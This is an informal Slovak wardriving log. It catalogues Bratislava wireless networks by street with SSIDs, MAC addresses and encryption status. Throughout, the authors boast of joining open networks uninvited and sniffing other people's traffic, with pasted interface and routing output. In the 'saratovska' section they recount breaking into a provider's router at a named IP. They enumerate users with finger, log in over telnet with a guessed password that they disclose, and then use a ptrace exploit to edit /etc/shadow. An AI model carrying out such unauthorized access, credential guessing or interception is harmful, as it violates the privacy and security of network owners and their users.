IUVENTA 00:30:4f:1c:24:8f 11 ap ano
--------------------------------------------------------------------------------

lokalita: stare grunty - jebacie miesto hore za elamom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
BORISDOM 00:60:b3:4f:08:60 11 z-com ap nie
BORISDOM 00:60:b3:4f:00:36 11 z-com ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vran 00:90:4b:0b:5c:a5 6 gemtek (d-link) ap ano
freeehr 00:02:78:e0:34:ba 8 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
efca 00:90:4b:0b:5c:5f 11 gemtek (d-link) ap ano
--------------------------------------------------------------------------------

lokalita: stare grunty pri manzelakoch so smerovou antenou smerom na sturak
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
hotspot 00:90:0e:00:25:33 6 ap nie
vlado3 96:57:4d:00:00:00 10 peer nie
homeoffice 00:02:2d:30:5b:60 11 agere(lucent)orinoco ap ano
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
12121212 22:00:e4:02:f4:02 3 peer nie
18181818 a6:01:7d:00:94:03 11 peer nie
My Network 00:60:b3:16:c0:b3 1 z-com ap nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamky: na hotspot sme sa chytili smerovou antenou a rovno sme dostali dhcp ip
adresu. gw bol 192.168.1.1. zjavne by sme nasli aj nejaky proxy von, ale ponahlali
sme sa prec a na druhy den sme sa nemohli na to pripojit.. bol slaby signal.

lokalita: hodzovo namestie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
wli_004 00:90:4b:0b:5b:9b 5 gemtek (d-link) ap nie
omega 00:90:4b:0b:5b:51 13 gemtek (d-link) ap ano
--------------------------------------------------------------------------------

lokalita: horsky park, pri pivarni horsky park
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
metros 00:60:b3:66:12:a5 5 z-com ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
paleo1 00:60:b3:16:63:f5 13 z-com ap nie
matrix 00:60:b3:16:63:ef 9 z-com ap nie
--------------------------------------------------------------------------------
poznamka: nemali sme pri sebe blue-pill na vystupenie z matrixu. na paleo1 behalo
velke mnozstvo http trafficu.

lokalita: hotel danube
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere (lucent) orinoco ap nie
ZDR 02:02:2d:4c:5f:13 10 agere (lucent) orinoco ap ano
EUnetIncheba 00:60:1d:03:63:b9 13 agere (lucent) wavelan ap nie
mat2 00:90:4b:08:0b:dc 9 gemtek (d-link) ap nie
okatnet 00:02:78:e1:b1:3a 9 samsung ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
--------------------------------------------------------------------------------
poznamka: v hoteli danube by mohli ponukat free spojenie cez eunet kutlikova.
my sme sa na to apcko pripojili zo slavina a celkom sa pobavili, viz poznamky nizsie

lokalita: jarosova pri kukurici
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
PMDUNION 02:d0:d8:64:00:4f 1 peer ano
--------------------------------------------------------------------------------
poznamka: tu sme cakali viac. napriklad take silne omni apcko sis-ky alebo st-cka
by zahrialo.

lokalita: kamenne namestie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
default 00:90:4b:08:0b:c7 3 gemtek (d-link) ap ano
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
--------------------------------------------------------------------------------

lokalita: ruzinovska ulica, kerametal
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
007SOU 00:02:78:e1:d3:f0 3 samsung ap nie
CDutar 00:02:78:e2:00:04 7 samsung ap nie
009SOUAP 00:02:78:e1:ff:f1 13 samsung ap nie
sunteq2 00:90:4b:60:60:db 13 gemtek (d-link) ap nie
rainap 00:02:78:e0:34:af 3 samsung ap nie
--------------------------------------------------------------------------------
poznamka: *SOU* je zjavne miestne stredne odborne uciliste kusok od kerametalu.
rainap je zjavne mikrovlnka datalock rainside.

lokalita: koliba, pod vysielacom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
TECHPRAZSKA 00:90:4b:0b:22:d1 7 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
--------------------------------------------------------------------------------

lokalita: krizna, pri slovnaft pumpe
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
cyrano 00:60:b3:16:66:1d 1 z-com ap nie
chtf-kor 00:04:47:50:11:48 5 ap nie
--------------------------------------------------------------------------------
poznamka: chtf je zjavne chemicko-technologicka fakulta stu. na cyrano sme sa
napichli pri budove chtf:

eth1 IEEE 802.11-DS ESSID:"cyrano" Nickname:"HERMES I"
Mode:Managed Frequency:2.457GHz Access Point: 44:44:44:44:44:44
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0/92 Signal level:134/153 Noise level:134/153
Rx invalid nwid:0 Rx invalid crypt:32 Rx invalid frag:6955
Tx excessive retries:37 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:63.112.169.6 Bcast:63.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:37984 errors:70458 dropped:0 overruns:0 frame:70457
TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:5048648 (4.8 Mb) TX bytes:625024 (610.3 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
63.112.169.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

lokalita: krizna, hotel kyjev
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
cyrano 00:60:b3:16:66:1d 1 z-com ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
MadNet_Manderla_Omni 00:c0:02:46:13:80 2 ap nie
--------------------------------------------------------------------------------

lokalita: lesna ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
metros 00:60:b3:66:12:a5 5 z-com ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
paleo1 00:60:b3:16:63:f5 13 z-com ap nie
matrix 00:60:b3:16:63:ef 9 z-com ap nie
metror 00:60:b3:66:12:a6 8 z-com ap nie
--------------------------------------------------------------------------------

lokalita: majernikova 17, zastavka autobusu
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
WL 72:de:c0:2e:52:c3 1 peer nie
hotspot 00:90:0e:00:25:33 6 ap nie
homeoffice 00:02:2d:30:5b:60 11 agere(lucent)orinoco ap ano
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
12121212 22:00:e4:02:f4:02 3 peer nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
HRAD2DD 00:02:78:e1:d4:28 4 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent)orinoco ap nie
-------------------------------------------------------------------------------

lokalita: matusova 17
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent)orinoco ap nie
CDkramareAP 00:02:78:e1:ff:f2 3 samsung ap nie
Academia 00:40:96:44:8a:ab 5 cisco (aironet) ap nie
--------------------------------------------------------------------------------

lokalita: mileticovam, pri trznici
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDICON02 00:60:b3:4f:1c:2a 2 z-com ap nie
Andrej Network 00:02:2d:07:c4:c9 1 agere(lucent)orinoco ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------

lokalita: mileticova - trnavska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
CASABLANCA_KOV3 02:02:2d:4f:15:b2 11 agere(lucent)orinoco ap ano
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
wlanba1 00:60:b3:16:5c:d9 11 z-com ap nie
waskol 00:90:4b:0e:cd:e7 3 gemtek(d-link) ap nie
TeleViaWireless 00:60:1d:21:dc:bb 2 agere (lucent) wavelan ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
--------------------------------------------------------------------------------
poznamka: na wlanba1 bezalo velke mnozstvo http trafficu. akurat niekto searchoval
google. napichli sme sa na neho na parkovisku pri rozhlase. tu su sietove udaje:

eth1 IEEE 802.11-DS ESSID:"wlanba1" Nickname:"HERMES I"
Mode:Managed Frequency:2.462GHz Access Point: 00:60:B3:16:5C:D9
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:8/92 Signal level:-90 dBm Noise level:-98 dBm
Rx invalid nwid:0 Rx invalid crypt:15 Rx invalid frag:6953
Tx excessive retries:35 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:192.168.2.109 Bcast:192.168.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:37734 errors:67241 dropped:0 overruns:0 frame:67240
TX packets:4458 errors:34 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:4975543 (4.7 Mb) TX bytes:619264 (604.7 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

lokalita: mileticova - kosicka
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDICON02 00:60:b3:4f:1c:2a 2 z-com ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
Andrej Network 00:02:2d:07:c4:c9 1 agere(lucent)orinoco ap nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
milnapal 00:90:4b:0b:5b:74 9 gemtek(d-link) ap ano
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
bct 00:02:78:e1:43:e1 11 samsung ap nie
ssc-pd 00:02:78:e0:32:c9 13 samsung ap nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
CASABLANCA_KOVTECH 02:02:2d:52:0a:32 13 agere(lucent)orinoco peer ano
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
gasss 00:02:78:e0:e3:28 12 samsung ap nie
--------------------------------------------------------------------------------

lokalita: mlynska dolina pod lafranconi mostom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
metror 00:60:b3:66:12:a6 8 z-com ap nie
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent) orinoco ap nie
--------------------------------------------------------------------------------

lokalita: most snp
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
TECHPRAZSKA 00:90:4b:0b:22:d1 7 gemtek (d-link) ap ano
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamka: pod mostom snp sme zastali na parkovisku oproti restauracii leberfinger.
trochu sme vyplasili taku pettingujucu dvojicu vo vedlajsom zaparkovanom aute;
treba uznat ze sme vyzerali podivne a bola uz aj pozdna nocna hodina. no ale k veci,
prijemnych 256kb/s nam na pockanie dodal eunet az z dalekeho technopolu:

eth1 IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I"
Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:4/92 Signal level:-89 dBm Noise level:-93 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:32
Tx excessive retries:213 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:194.1.174.3 Bcast:194.1.174.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:10739 errors:8628 dropped:0 overruns:0 frame:8107
TX packets:1030 errors:209 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:3698111 (3.5 Mb) TX bytes:325572 (317.9 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
194.1.174.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 194.1.174.1 0.0.0.0 UG 0 0 0 eth1

lokalita: saratovska
zial z tejto lokality nemame zoznam sieti, sem do dubravky sme isli ako na poslednu
lokalitu cestou domov. na zastavke autobusu saratovska 2 sme sa napichli na siet
metrod:

eth1 IEEE 802.11-DS ESSID:"metrod" Nickname:"HERMES I"
Mode:Managed Frequency:2.462GHz Access Point: 00:60:B3:66:38:A4
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:12/92 Signal level:-84 dBm Noise level:-96 dBm
Rx invalid nwid:0 Rx invalid crypt:3275 Rx invalid frag:74
Tx excessive retries:1102 Invalid misc:0 Missed beacon:0

eth1 Link encap:Ethernet HWaddr 00:02:2D:2E:BA:BE
inet addr:62.168.108.212 Bcast:62.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:31309 errors:16064 dropped:0 overruns:0 frame:15447
TX packets:6647 errors:102046 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:11998952 (11.4 Mb) TX bytes:1265135 (1.2 Mb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
62.168.108.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 62.168.108.210 0.0.0.0 UG 0 0 0 eth1

noo a potom nastala pekna vypapavka - root na routovacom linuxe do 2-3 minut
od prvotneho pripojenia na siet. nmap na adresu 62.168.108.209 ukazal kopec
volnych portov, takze nasledovalo:

# finger grid@62.168.108.209
[62.168.108.209]
login: root
Directory: /root
Last login Wed Nov 13 01:47 (CET) on pts/1 from sky.grid.sk
No mail.
No Plan.
#finger grid@62.168.108.209
Login: grid
Directory: /home/grid
Never logged in.
No mail.
No Plan.
# telnet 62.168.108.209
Connected to 62.168.108.209.
Escape character is '^]'.

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
login: root
Password: (skusili sme heslo grid)
Login incorrect

login: grid
Password: (skusili sme heslo grid)
[grid@rep grid]$

a voila boli sme dnuka.
potom este male sondovanie...

[grid@rep mars_nwe]$ /usr/sbin/traceroute 195.168.3.1
traceroute to 195.168.3.1 (195.168.3.1), 30 hops max, 38 byte packets
1 b-b.grid.sk (62.168.120.146) 15.018 ms 11.940 ms 7.420 ms
2 k-m.grid.sk (62.168.120.177) 15.149 ms 3.867 ms 3.548 ms
3 a-s.grid.sk (62.168.120.129) 8.410 ms * 11.311 ms

[grid@rep mars_nwe]$ telnet 62.168.120.146
Trying 62.168.120.146...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ telnet 62.168.120.177
Trying 62.168.120.177...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ telnet 62.168.120.129
Trying 62.168.120.129...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$
[grid@rep mars_nwe]$ ls -al

ako uz bolo hore spomenute baterky na maniacovom notebooku dosli v
najnevhodnejsej chvili - pri editacii /etc/shadow na tomto mikrovlnnom
routri [ptrace exploit sme tahali samozrejme po luxusnom 256kbps mikrovlnnom
konekte] :) samozrejme hned sme pripli aj antoniov notebook, ale kym sa o5
dostal na ten router, tak notebook zdochol aj jemu - proste murphy sa nam
zubil do xichtu a odkazoval nam, ze o tretej rano by uz bolo nacim ist spat :)
co by ale bol hriech nespomenut je to, ze "provider" inkriminovanej wireless
siete mal na vsetkych interfejsoch pustene sniffre a poctivo logoval cely
traffic (takze ked si vyberate ISP, tak rozmyslajte aj nad tym ktoreho
si vyberiete a co mu nechate citat :) pripadne aj hocikomu okoloiducemu v
pripade ze konfiguracia mw zariadeni bola odflaknuta).

lokalita: slavin - misikova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
bct1 00:02:78:e0:2b:07 11 samsung ap nie
dcc 00:60:b3:4f:04:da 9 z-com ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_004 00:90:4b:0b:5b:9b 13 gemtek (d-link) ap nie
default 00:60:b3:10:05:a0 13 z-com peer nie
5a51ee 00:40:96:29:db:28 10 cisco (aironet) ap nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------

lokalita: slavin
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
MadNetMediaOmni 00:c0:02:46:15:74 7 ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
zipp 00:02:78:e1:45:46 1 samsung ap nie
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------

lokalita: stara vinarska cesta
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
dcc 00:60:b3:4f:04:da 9 z-com ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
finger 00:02:78:e1:10:36 9 samsung ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
--------------------------------------------------------------------------------
poznamky: tu sme chvilu pobudli pripojeni na "EUnet Kutlikova Centrum". na sieti
bola cula prevadzka, tu su parametre pripojenia:

eth1 IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I"
Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Power Management:off
Link Quality:3/92 Signal level:-88 dBm Noise level:-92 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:22
Tx excessive retries:117 Invalid misc:0 Missed beacon:0

eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:194.1.174.5 Bcast:194.1.174.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:6605 errors:2660 dropped:0 overruns:0 frame:2660
TX packets:893 errors:205760 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:3649690 (3.4 Mb) TX bytes:153056 (149.4 Kb)
Interrupt:5 Base address:0x100

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
194.1.174.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 194.1.174.1 0.0.0.0 UG 0 0 0 eth1

za poznamku tiez stoji ze sa dal sniffovat dost culy traffic, dokonca sme spoznali
irc traffic jedneho znameho. pripadali sme si ako keby sme vkracali do serverovne
eunetu a strcili si kabel do nejakeho velkeho hubu...

lokalita: namestie snp
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
hozsvor 00:02:78:e0:34:bc 7 samsung ap nie
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
My Wireless Network A 00:02:2d:51:06:e1 3 agere (lucent) orinoco ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
--------------------------------------------------------------------------------

lokalita: tomasikova - nevadzova, pri televizii luna
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
lunar 00:90:4b:08:0c:9f 7 gemtek (d-link) ap ano
CDutar 00:02:78:e2:00:04 7 samsung ap nie
-------------------------------------------------------------------------------

lokalita: petrzka - pred tpd
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
vrakuna-imc 00:02:78:e1:d3:ff 12 samsung ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere (lucent) orinoco ap nie
tpd-ap 00:02:78:e1:ff:f4 13 samsung ap nie
--------------------------------------------------------------------------------
poznamka: vonku pred obchodnym domom tpd bol super signal na siet tpd-ap. behalo
tam viacero sieti:

192.168.x.x
195.168.3.2 [rovnake data ako na kolibe]
10.x.x.x siet

lokalita: pionierska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
metro 00:40:96:24:bf:f3 7 cisco (aironet) ap nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
TeleViaWireless 00:60:1d:21:dc:bb 2 agere (lucent) wavelan ap nie
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
blabla 00:60:b3:16:84:cf 3 z-com ap nie
--------------------------------------------------------------------------------

lokalita: parkovisko na streche polusu
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
racsz 02:02:65:3b:6c:3b 3 peer nie
istro1 00:02:78:e0:34:86 7 samsung ap nie
b0de6a 00:40:96:38:3f:02 4 cisco (aironet) ap nie
ssek-tr 00:02:78:e0:33:6f 12 samsung ap nie
--------------------------------------------------------------------------------

lokalita: parkovisko na streche polusu - blizsie k administrativnej budove
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas0 00:02:78:e2:00:31 8 samsung ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
ssek-tr 00:02:78:e0:33:6f 12 samsung ap nie
tomas1 00:02:78:e1:44:17 9 samsung ap nie
--------------------------------------------------------------------------------
poznamka: nooo cakali sme wlanku ibm alebo eurotelu :(

lokalita: prazska ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
PRAVA 00:90:4b:08:0b:d6 11 gemtek (d-link) ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
5a51ee 00:40:96:29:db:28 10 cisco (aironet) ap nie
--------------------------------------------------------------------------------

lokalita: prievozska - bajkalska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDutar 00:02:78:e2:00:04 7 samsung ap nie
grtostav 00:90:4b:0b:5c:47 11 gemtek (d-link) ap ano
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
--------------------------------------------------------------------------------

lokalita: prievozska - business centrum
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
grtostav 00:90:4b:0b:5c:47 11 gemtek (d-link) ap ano
ANY 00:02:2d:00:82:d0 7 agere(lucent) orinoco ap nie
bct 00:02:78:e1:43:e1
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
--------------------------------------------------------------------------------

lokalita: majernikova - pribisova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vran 00:90:4b:0b:5c:a5 6 gemtek (d-link) ap ano
freeehr 00:02:78:e0:34:ba 8 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
WL 72:de:c0:2e:52:c3 1 peer nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
hradport4 00:02:78:e1:d3:a9 12 samsung ap nie
PRIFUKAP 00:02:78:e0:b3:90 5 samsung ap nie
18181818 a6:01:7d:00:94:03 11 peer nie
zad-mat 00:02:78:e1:d3:b5 2 samsung ap nie
EUnet Petrzalka East 00:02:2d:09:1b:1b 1 agere(lucent)orinoco ap nie
freee 00:02:78:e0:34:21 2 samsung ap nie
vran2 00:90:4b:08:0b:c0 1 gemtek (d-link) ap ano
imc-mat-ap 00:02:78:e1:d3:b6 7 samsung ap nie
mat3 00:90:4b:08:0c:81 11 gemtek (d-link) ap nie
12121212 22:00:e4:02:f4:02 3 peer nie
martineg 00:02:78:e1:10:23 1 samsung ap nie
HRAD2DD 00:02:78:e1:d4:28 4 samsung ap nie
OrinocoAP 00:02:2d:2c:ea:59 7 agere(lucent)orinoco ap nie
--------------------------------------------------------------------------------

lokalita: stary most
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
dcc 00:60:b3:4f:04:da 9 z-com ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
hrad 00:02:78:e1:45:21 1 samsung ap nie
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
vrakuna-imc 00:02:78:e1:d3:ff 12 samsung ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
mat1 00:90:4b:08:0c:70 6 gemtek (d-link) ap nie
--------------------------------------------------------------------------------

lokalita: stromova - pri siemense
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
WaveLAN Network 00:02:a5:2d:a2:d9 10 ap ano
Inoteska 02:90:87:c7:b5:bd 9 peer nie
--------------------------------------------------------------------------------

lokalita: teslova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
